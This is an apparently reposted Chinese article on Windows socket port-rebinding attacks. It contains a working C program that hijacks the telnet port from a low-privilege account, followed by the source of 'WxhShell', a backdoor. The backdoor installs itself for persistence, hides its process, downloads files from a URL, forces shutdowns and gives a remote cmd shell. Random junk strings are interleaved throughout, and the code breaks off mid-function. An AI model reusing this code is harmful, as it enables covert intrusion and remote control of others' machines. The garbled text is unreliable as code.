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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: \V 'fB5 s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); 2wO8;wiA kT
saddr.sin_family = AF_INET; \roJf&O } a
7v^o` saddr.sin_addr.s_addr = htonl(INADDR_ANY); #<Y3*^~5d [3=Y 9P: bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); %wl:>9] +D
@B eQu 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 2Rys:$ vg?(0Gasm* 这意味着什么?意味着可以进行如下的攻击: 'O 7:=l W`LG.`JW 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 6t!=k6`1 O6e$v I@ 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) A%EhRAy bkR~>F]FAu 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 8=bn
TJf &b~X&{3, 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。 5fs,UH VO1 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 `[E-V (eb65F@ P 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 Ax|'uvVAPT ((AK7hb 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 UazK0{t<f 'H`:c+KDG` #include )Dms9: #include C3.]dsv: #include p4O[X\T #include \+Qd=,!i( DWORD WINAPI ClientThread(LPVOID lpParam); (e_p8[x int main() fb0)("_V { 1Cc91 WORD wVersionRequested; Q7`)&^
Hx DWORD ret; F~fN7<9R WSADATA wsaData; dj5|t~& BOOL val; LdOqV'&r SOCKADDR_IN saddr; %d-WQwJ SOCKADDR_IN scaddr; RwK6u-u#9 int err; w?3ww7yf` SOCKET s; eo;MFd%; SOCKET sc; $uwz`N: int caddsize; IuFr:3( HANDLE mt; lZkJ<*z# DWORD tid; X ?ZLmP7| wVersionRequested = MAKEWORD( 2, 2 ); H#X*OJ err = WSAStartup( wVersionRequested, &wsaData ); VNz?e&> if ( err != 0 ) { hb0)<^xu printf("error!WSAStartup failed!\n"); i,;a( Sy4 return -1; JSq3)o9?/ } V_^pPBa saddr.sin_family = AF_INET; {[bpvK YVHf-uP //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 ,. ht ~AE ON{a'H saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); }"RVUYU saddr.sin_port = htons(23); 2ER_?y if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) {&Rz>JK { S^i8VYK,C5 printf("error!socket failed!\n"); q$H@W.f return -1; s LD Ea } [".94(qs val = TRUE; ze
LIOw //SO_REUSEADDR选项就是可以实现端口重绑定的 Pec40g:#F if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) @az<D7j2 { HdY#cVxy printf("error!setsockopt failed!\n"); n0K+/}m return -1; 18kWnF]n= } %PPy0RZ^
//如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; l ~xXy< //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 7^@ 1cA=S //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 5&A' +] mICx9oz] if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) <JXHg,Q { 7bGOE_r ret=GetLastError(); iB~dO @ printf("error!bind failed!\n"); bF;|0X$
x return -1; :vS/Lzk } qauvwAMuX listen(s,2); SEu:31k{o while(1) ;Hp78!#, { -IDhK}C&T caddsize = sizeof(scaddr); KB^GC5L> //接受连接请求 ,s}7KE sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); @QYCoEU8J if(sc!=INVALID_SOCKET) 39~WP$GM { 7bVKH[ mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); XfEp_.~JM if(mt==NULL) 8A*tpMV?J { U(~Nmo' printf("Thread Creat Failed!\n"); a>y e break;
>h9~
/ } LR4W } n"~K",~P CloseHandle(mt); r'|ei , } :2b*E`+ closesocket(s); fkk9&QB%( WSACleanup(); QY\'Uu{ return 0; 8H3O6ro } ePSD#kY5 DWORD WINAPI ClientThread(LPVOID lpParam) "HJQAy?W
{ O!F"w!5@ SOCKET ss = (SOCKET)lpParam; dJb7d` SOCKET sc; _jVJkg)] unsigned char buf[4096]; M%!j\}2A SOCKADDR_IN saddr; !_dW
` long num; <BdC#t:*L DWORD val; i1HO>X:ea DWORD ret; L<Z2 //如果是隐藏端口应用的话,可以在此处加一些判断 6Tq2WZ}<' //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发 YR)^F|G saddr.sin_family = AF_INET; O=u.J8S2 saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); {D]I[7f8Ev saddr.sin_port = htons(23); 0h('@Hb.K# if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) ~(cqFf { 1bCS4fs^> printf("error!socket failed!\n"); R^K:hKQ return -1; ?.MlP,/K } zHW&i~ val = 100; LH~
t5 if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) "nNT9
K| { EYZ,GT-I ret = GetLastError(); `K2vG`c return -1; Ds8x9v)^ } 2\Yv;J+; if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) XpT})AV { L[:M[,?=` ret = GetLastError(); ,nw5 M.D_ return -1; NVDvd6 } w#sP5qKv8 if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) r6+IJxUd { i_$?sg#=yk printf("error!socket connect failed!\n"); EOGz;:b& closesocket(sc); h{PJ4U{W closesocket(ss); u3PM 7z!~ return -1; _<)HFg6 } ZB,UQ~!Yr while(1) FJB
/tg { ksqb& ux6 //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 Z1DF ) //如果是嗅探内容的话,可以再此处进行内容分析和记录 DEenvS`,P //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 cdfnM% `>\ num = recv(ss,buf,4096,0); k%LsjN.S if(num>0) NV3oJ0f&2 send(sc,buf,num,0); 2\[
Q{T=Qe else if(num==0) e/IVZmUn^ break; pf_`{2.\uO num = recv(sc,buf,4096,0); Nbm$ta if(num>0) ~rbJtz send(ss,buf,num,0); `$r?^|T else if(num==0) ">R`S<W break; oeG?2!Zh } bj+foNvu\ closesocket(ss); EJTa~ closesocket(sc); 6IL-S%EGK1 return 0 ; |Lz7}g=6 } dcN4N5r &. "ltB %VgK::)r ========================================================== zm^5WH ;:ocU? 下边附上一个代码,,WXhSHELL h&IF?h +PHuQ ========================================================== ; DI"9 ?Q}3X-xy #include "stdafx.h" -"n8Wv 4' <y #include <stdio.h> 7, :l\t #include <string.h> sQa9M #include <windows.h> 4yR X{Bl| #include <winsock2.h> %lN4"jtx #include <winsvc.h> v7D3aWoe #include <urlmon.h> ;+VHi%5Z lK y4Nry9 #pragma comment (lib, "Ws2_32.lib") /d1V&Lj #pragma comment (lib, "urlmon.lib") DAvAozM dvXu?F55 #define MAX_USER 100 // 最大客户端连接数 kw yvd`J8 #define BUF_SOCK 200 // sock buffer Z>X-u eV #define KEY_BUFF 255 // 输入 buffer sX**'cH ?EpY4k8, #define REBOOT 0 // 重启 ;XTP^W!6f #define SHUTDOWN 1 // 关机 Z#Zk) P"xP%zqo #define DEF_PORT 5000 // 监听端口 9wI1/> a]ftE\99 #define REG_LEN 16 // 注册表键长度 s\KV\5\o #define SVC_LEN 80 // NT服务名长度 \y0abxIHS (>Tu~Vo // 从dll定义API y\@XW*_? typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); i4uUvZf typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); @,s[l1P typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); QGYmQ9m{kL typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); Tlf G"HzZ% TSD7.t)^ // wxhshell配置信息 r<~1:/F|
struct WSCFG { +:^tppg int ws_port; // 监听端口 ?5+= char ws_passstr[REG_LEN]; // 口令 evn ]n int ws_autoins; // 安装标记, 1=yes 0=no v4 c_UFEh< char ws_regname[REG_LEN]; // 注册表键名 mT)iN`$Y@ char ws_svcname[REG_LEN]; // 服务名 ,rG$JCS'KQ char ws_svcdisp[SVC_LEN]; // 服务显示名 8WaVs 6 char ws_svcdesc[SVC_LEN]; // 服务描述信息 ^Ji5)c char ws_passmsg[SVC_LEN]; // 密码输入提示信息 5$jKw\FF= int ws_downexe; // 下载执行标记, 1=yes 0=no j[c|np4k\ char ws_fileurl[SVC_LEN]; // 下载文件的 url, " http://xxx/file.exe" g y&B"` char ws_filenam[SVC_LEN]; // 下载后保存的文件名 h"q`gj 'KXvn0 }; }9@,EEhg OHH wcJ 7N // default Wxhshell configuration [S*bN!t struct WSCFG wscfg={DEF_PORT, \f%jN1z "xuhuanlingzhe", fpzC# 1, vu1F "Wxhshell", WzZb-F "Wxhshell", NPKRX Li% "WxhShell Service", 5]gd,&^?> "Wrsky Windows CmdShell Service", iGm[fxQ| "Please Input Your Password: ", MT|}[|_ 1, -4"E]f " http://www.wrsky.com/wxhshell.exe", Cg-khRgLS "Wxhshell.exe" LL.YkYu }; M"5,8Q`PkI Rl -Sr // 消息定义模块 XG*Luc-v char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; `2UzJ~ char *msg_ws_prompt="\n\r? for help\n\r#>"; lS9rgq<n char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#> http://.../server.exe\n\r"; $I+QyKO9k
char *msg_ws_ext="\n\rExit."; YW0UIO char *msg_ws_end="\n\rQuit."; sy#CR4X char *msg_ws_boot="\n\rReboot..."; kcI3pmgj char *msg_ws_poff="\n\rShutdown..."; 3fM~R+p char *msg_ws_down="\n\rSave to "; BPe5c :z leX&py char *msg_ws_err="\n\rErr!"; b`fPP{mG char *msg_ws_ok="\n\rOK!"; mq su8ti WHMt$W}% char ExeFile[MAX_PATH]; 05.^MU?^U int nUser = 0; z4{H= HANDLE handles[MAX_USER]; U c$RYPq int OsIsNt; 9SXFiZA(r jL>IX`,+6 SERVICE_STATUS serviceStatus; >
QDmSy*& SERVICE_STATUS_HANDLE hServiceStatusHandle; Hq3"OMG q Y6&w0~?! // 函数声明 Ztr,v$ int Install(void); (n|PLi int Uninstall(void); STL&ZO int DownloadFile(char *sURL, SOCKET wsh); G!uoKiL int Boot(int flag); 5ZSV)$t void HideProc(void); AK} wSXF int GetOsVer(void); kR3g,P{L int Wxhshell(SOCKET wsl); >PGW>W$ void TalkWithClient(void *cs); oM M`7wJw int CmdShell(SOCKET sock); #Huvn4x int StartFromService(void); CMI%jyiX int StartWxhshell(LPSTR lpCmdLine); `rN,*kcP -O:+?gG VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); Om,+59ua* VOID WINAPI NTServiceHandler( DWORD fdwControl ); py6|uGN `<cB 6 // 数据结构和表定义 wKIQK!B)mF SERVICE_TABLE_ENTRY DispatchTable[] = K?8{y { uckag/tv {wscfg.ws_svcname, NTServiceMain}, @7e h/|Y, {NULL, NULL} 6-c3v }; w$MFCJ:p& R'`q0MoN1 // 自我安装 *$1M=$ int Install(void) iC10|0%{ { TL-sxED,,D char svExeFile[MAX_PATH]; s`B]+ HKEY key; ]d=SkOq strcpy(svExeFile,ExeFile); L}T:Y). PGF=q|j9K // 如果是win9x系统,修改注册表设为自启动 Ri =>evx if(!OsIsNt) { t;!vjac if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { }OZp[V RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ^V#9{)B RegCloseKey(key); @KfFtR-; if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { mtu/kd'( RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 7=(rk RegCloseKey(key); $O9Nprf return 0; $w4%JBZr } KHV5V3q4 } QV,X> !Nz } VJmX@zX9 else { 4wk-f7I( ?f<JwF< // 如果是NT以上系统,安装为系统服务 |\;oFuCv## SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); Q\|72NWS if (schSCManager!=0) F67%xz0 { &7"a.&*9xX SC_HANDLE schService = CreateService 78zjC6}` ( "Ah (EZAR
schSCManager, G-
wQ
weJ9 wscfg.ws_svcname, onL&lE wscfg.ws_svcdisp, =oQw?,eY
SERVICE_ALL_ACCESS, A(zF[\{] SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , x(pq!+~K SERVICE_AUTO_START, __o`+ ^FS SERVICE_ERROR_NORMAL,
booth}M svExeFile, .@KpN*`KH NULL, t>.1,'zb NULL, 4gbi?UAmX NULL, 3
r4QB NULL, V;0{o NULL kzU;24"K ); /)fx(u# if (schService!=0) 65X31vU { oE@{h$= CloseServiceHandle(schService); t9T3e CloseServiceHandle(schSCManager); 'NCxVbyYD strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); 7xz~%xC. strcat(svExeFile,wscfg.ws_svcname); ."b=dkx if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { 7oaa) RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); 5dOA^P@`,M RegCloseKey(key); O0OBkIj return 0; $Gt1T[:QUX } b*$/(2"m } L(tS]yWHw CloseServiceHandle(schSCManager); Cx$C+ } {g9?Eio^F^ } u=^0n2ez `s74g0h return 1; [)UF@Sq4+Q } .C=&`;Vs 9Br2}!Ny // 自我卸载 \%\b*OO int Uninstall(void) DCS$d1 { ~@a7RiE@ HKEY key; V#
Mw qT]Bl+h2 if(!OsIsNt) { LL3RC6;e if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { T{=.mW^ x RegDeleteValue(key,wscfg.ws_regname); DDxNqVVt4 RegCloseKey(key); .gUceXWH3 if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { h.0Y!'? RegDeleteValue(key,wscfg.ws_regname); 7s:`]V% RegCloseKey(key); ?m-kpW8 return 0; =w&%29BYq } <}'hkEh{d= } $s2Ty1 } w`XwW#!}@$ else { ,Ie~zZE& wqDRFZ1*P SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); Ycb<'M*jE if (schSCManager!=0) !ZP1?l30 { oH~ZqX.3 SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); pNpj, H*4 if (schService!=0) 9_IR%bm { q|m8G if(DeleteService(schService)!=0) { !v\m%t|. CloseServiceHandle(schService); -k\7k2 CloseServiceHandle(schSCManager); j}YZl@dYV return 0; 2D-ogSIo } 2 cfzLW( CloseServiceHandle(schService); r$ue1bH}| } u#=Yv|9 CloseServiceHandle(schSCManager); 5n;|K]UW } &|<~J(L; } ko!38BH`/ @t`|w.]ml return 1; UNocm0!N' } }|f\'S IBl}.o&]B# // 从指定url下载文件 Jl3l\I' int DownloadFile(char *sURL, SOCKET wsh) #V-qS/ q" { 4@#1G*OO HRESULT hr; "d'xT/l
" char seps[]= "/"; l1`Zp9I char *token; FsZM_0>/s char *file; `g%]z@'+? char myURL[MAX_PATH]; "Gcr1$xG8! char myFILE[MAX_PATH]; Tp~yn )Y~q6D K strcpy(myURL,sURL); Rz`<E97- token=strtok(myURL,seps); # l~d while(token!=NULL) [$3Zid { ,)V*xpp file=token; 7=om / token=strtok(NULL,seps); u]E% R& } 6N.mSnp KtY~Y GetCurrentDirectory(MAX_PATH,myFILE); F~a5yW:R=) strcat(myFILE, "\\"); W_8FzXA strcat(myFILE, file); F-k1yZ?^ send(wsh,myFILE,strlen(myFILE),0); 9 N=KU send(wsh,"...",3,0); wO}
3i6 hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); doc5;?6 if(hr==S_OK) e^~t52] return 0; ~'fa,XZ< else lGG1d return 1; H?40yu2m5 ThWZ>hyJ } !dhZs?/UI oBqP^uT>a| // 系统电源模块 !::k\}DS int Boot(int flag) z('93vsO { 9][Mw[k> HANDLE hToken; e /;Ui TOKEN_PRIVILEGES tkp; &[cL%pP F]yclXf(' if(OsIsNt) { +Q-~~v7, OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); .[cT3l/t LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); Bo%M-Gmu tkp.PrivilegeCount = 1; =q
xcM+OX1 tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; vW$]:). AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); 8GlH)J+kq if(flag==REBOOT) { 8" 8{Nf-" if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) Qg6m return 0; =Bo0Oei } /Z2*>7HM8[ else { [&3"kb if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) Cc Ni8Wg_ return 0; -m'a%aog } {zF } Kyl( else { ?!~au0 if(flag==REBOOT) { 3'/wRK l if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) <Isr return 0; -IX;r1UD } {{EQM
+ else { &OzJ^G\o if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) tQFFt,) return 0; :He:Bdk } !Aw.f! } {Z?!*Ow q"52-42 return 1; um8ZhXq } n,HWVo>([ .FMF0r>l
// win9x进程隐藏模块 czZ-C +}% void HideProc(void) [e^i". { [6|8Gx: R>0ta
Q HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); \uPT-M* if ( hKernel != NULL ) dO8Z {wfs { \Fj4Gy?MW pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); O-'T*M> ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); 1^W Aps FreeLibrary(hKernel); ljf9L:L } Sv>aZ gTQ6B,`/8 return; K
6G n } jS- QTG!= oNh .Zgg // 获取操作系统版本 hOC,Eo int GetOsVer(void) ,`Mlo { 9,>M/_8> OSVERSIONINFO winfo; {U<htl4 winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); /kWWwy<
GetVersionEx(&winfo); 3&*%>) if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) G?V3lQI1n return 1; 4C[gW else wGxLs>|
4 return 0; SwL\=nq+~ } vaU7tJ: gI%n(eY // 客户端句柄模块 wvYxL
c#p0 int Wxhshell(SOCKET wsl) i'u;"ot=
{ (l^lS=x SOCKET wsh; 97g-*K struct sockaddr_in client; 3z ry %qV= DWORD myID; S:j0&* -|T^ while(nUser<MAX_USER) >@|<1Fx| { ?t"PawBWE int nSize=sizeof(client); JU6np 4 wsh=accept(wsl,(struct sockaddr *)&client,&nSize); %2+]3h>g if(wsh==INVALID_SOCKET) return 1; I"!{HnSG` {!S/8o"] handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); &ar}6eO if(handles[nUser]==0) 4~/6d9f closesocket(wsh); @88 efF else
1W8W/Y=hT nUser++; ,jWd?-NH } 5 6R,+sN WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); ,ym;2hJ +OmSR*fA0 return 0; tvUvd(8w } mc=*wr$ 4tU~ ^z // 关闭 socket pSP_cYa#(# void CloseIt(SOCKET wsh) 00p 7sZU^ { )-{~7@yqZ closesocket(wsh); :&%;s*-9 nUser--; C"{on% ExitThread(0); MocH>^, } 1`t?5|s>
("6W.i> // 客户端请求句柄 v\eBL&WK void TalkWithClient(void *cs) X
A|`wAGP { (AYS>8O& ss<'g@R SOCKET wsh=(SOCKET)cs; B`aAvD`7 char pwd[SVC_LEN]; WdAGZUp char cmd[KEY_BUFF]; ;`B35K char chr[1]; lo: ~~l int i,j; DE ws+y-* Z]f2& while (nUser < MAX_USER) { uH[0kh D3{lyi|8 if(wscfg.ws_passstr) { p#d UL9 if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); M<unQ1+wh //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); )mdNvb[*n //ZeroMemory(pwd,KEY_BUFF); "~<~b2Y"5 i=0; [u80-x< while(i<SVC_LEN) { B6\VxSX4{ PuaosMn(9 // 设置超时 J"rwWIxO* fd_set FdRead; DZRxp, struct timeval TimeOut; fJ2{w[ne FD_ZERO(&FdRead); L@r.R_*H?s FD_SET(wsh,&FdRead); VWy:U#;+8 TimeOut.tv_sec=8; yXx62J TimeOut.tv_usec=0; |vz;bJG int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); Pfx71*u, if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); _KVB~loT #ya|{K if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ; ZV^e pwd =chr[0]; %k
#Nu if(chr[0]==0xd || chr[0]==0xa) { B5HdC%8/} pwd=0; RCYbRR4y break; xm5FQ) T } tQ
JH'YV i++; lO> 7`2x=F } ddDJXk)!0 ?]D+H%3[$i // 如果是非法用户,关闭 socket 0DIM]PS if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); >5O y^u6Ly } %@93^q[\2 I%>]!X send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); V)QR!4De send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); o!r4 frP |/=p while(1) { t0H=NUP8 b[o"Uq@8? ZeroMemory(cmd,KEY_BUFF); )|R0_9CLV e=;@L3f // 自动支持客户端 telnet标准 G!LNP&~ j=0; x ETVtq while(j<KEY_BUFF) { I+?$4SC if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); nQ!#G(_nO cmd[j]=chr[0]; -sH.yAvC6 if(chr[0]==0xa || chr[0]==0xd) { k;AiG8jb cmd[j]=0; k>;r9^D break; S%s|P=u } YZ:'8< j++; b;`#Sea } M(WOxZ8 5YG@[ic // 下载文件 %%,hR'+| if(strstr(cmd,"http://")) { 7U
)qC}( send(wsh,msg_ws_down,strlen(msg_ws_down),0); :mV7)oWH if(DownloadFile(cmd,wsh)) 4U
a~*58 send(wsh,msg_ws_err,strlen(msg_ws_err),0); X.AWs=:- else VBsFT2XiL send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); lyH X#] } `Y({#U else { {S" M3;v3
}z<- switch(cmd[0]) { tTh;.88Z{ 9k+&fyy // 帮助 qTa]th; case '?': { !_z<W~t" send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); nh&J3b}B! break; 5nM9!A\D } )>X|o$2 // 安装 "tz0ko,( case 'i': { g*r{!:,t if(Install()) D7_Hu'y<o send(wsh,msg_ws_err,strlen(msg_ws_err),0); 07LL)v~ else -}qGb}F8! send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 60~>f)vu break; v!{'23`87 }
vD)A) // 卸载 d,J<SG&L& case 'r': { vu'!-K=0 if(Uninstall()) >gZk
581/ send(wsh,msg_ws_err,strlen(msg_ws_err),0); rb}wv16? else o!l3.5m2d send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); p`<e~[]a break; tp0!,ne* } D_19sN@0m // 显示 wxhshell 所在路径 \`Ph=lJO case 'p': { M\?uDC9 char svExeFile[MAX_PATH]; g"dZB2`C strcpy(svExeFile,"\n\r"); {?>bblw/d strcat(svExeFile,ExeFile); hNq8
uyKx send(wsh,svExeFile,strlen(svExeFile),0); K@j^gF/0B break; %X9:R'~ sP } */5<L99v // 重启 bUAR<R'E case 'b': { JX\T
{\m# send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); !AD0-fZ if(Boot(REBOOT)) spSN6.j send(wsh,msg_ws_err,strlen(msg_ws_err),0); /,uSCITD else { srChY&h?< closesocket(wsh);
$`XN ExitThread(0); =@1R ozt } 5;K-,"UQ break; ZXsY-5$#d- } 2*-ENW2 // 关机 p'%: M case 'd': { =ve*g& send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); &8X
.!r`f if(Boot(SHUTDOWN)) FUzMc1zy| send(wsh,msg_ws_err,strlen(msg_ws_err),0); .n)!ZN else { _,Rsl$Tk' closesocket(wsh); P"V{y|2 ExitThread(0); fZw9zqg } iKF$J3a\2f break; L)R[)$2(g } Xew1LPI // 获取shell 1o;g1Z/ case 's': { /+x#V!zM CmdShell(wsh); [yYH>~SuwZ closesocket(wsh); OZ>)sL ExitThread(0); #4P3xa break; EZ%w= } {w |dM# // 退出 k"q!|+&Fs case 'x': { nL":0!DTRD send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); jsNH`" CloseIt(wsh); ^6)GS%R break; w PG1P'w; } (<bm4MPf // 离开 (
K6~Tj
case 'q': { J0ZxhxX35 send(wsh,msg_ws_end,strlen(msg_ws_end),0); 96"yNqBf closesocket(wsh); n*vTVt)dJ WSACleanup(); Q)LXL.0h exit(1); T}L^CU0 break; yyY~ *Le } jb|mip@`
< } BR& Aq } :jt;EzCLg% 93W // 提示信息 ;ZQ-uz if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ibd$%;bX3 } e2]4a3 } ?a'6EAErC mF[o*N* return; DS#cm3 } uipq=Yp. ..t,LU@| // shell模块句柄 B :.@Qi^ int CmdShell(SOCKET sock) GVmC }>z { CS/Mpmsp STARTUPINFO si; {]wIM^$6+ ZeroMemory(&si,sizeof(si)); _GVE^yW~z si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; "w}-?:# j si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; =N YgGEFq. PROCESS_INFORMATION ProcessInfo; :J^qj AV char cmdline[]="cmd";
f~w>v CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); aq3~!T;W return 0; V]79vC } D
Irgq|8 e^j<jV`1 // 自身启动模式 ,N53Iic int StartFromService(void) `W@T'T" { nz4<pvC,* typedef struct \HAJ\9*w) { QX[Djz0H8 DWORD ExitStatus; ]UDd :2yt DWORD PebBaseAddress; b2N6L2~V DWORD AffinityMask; `
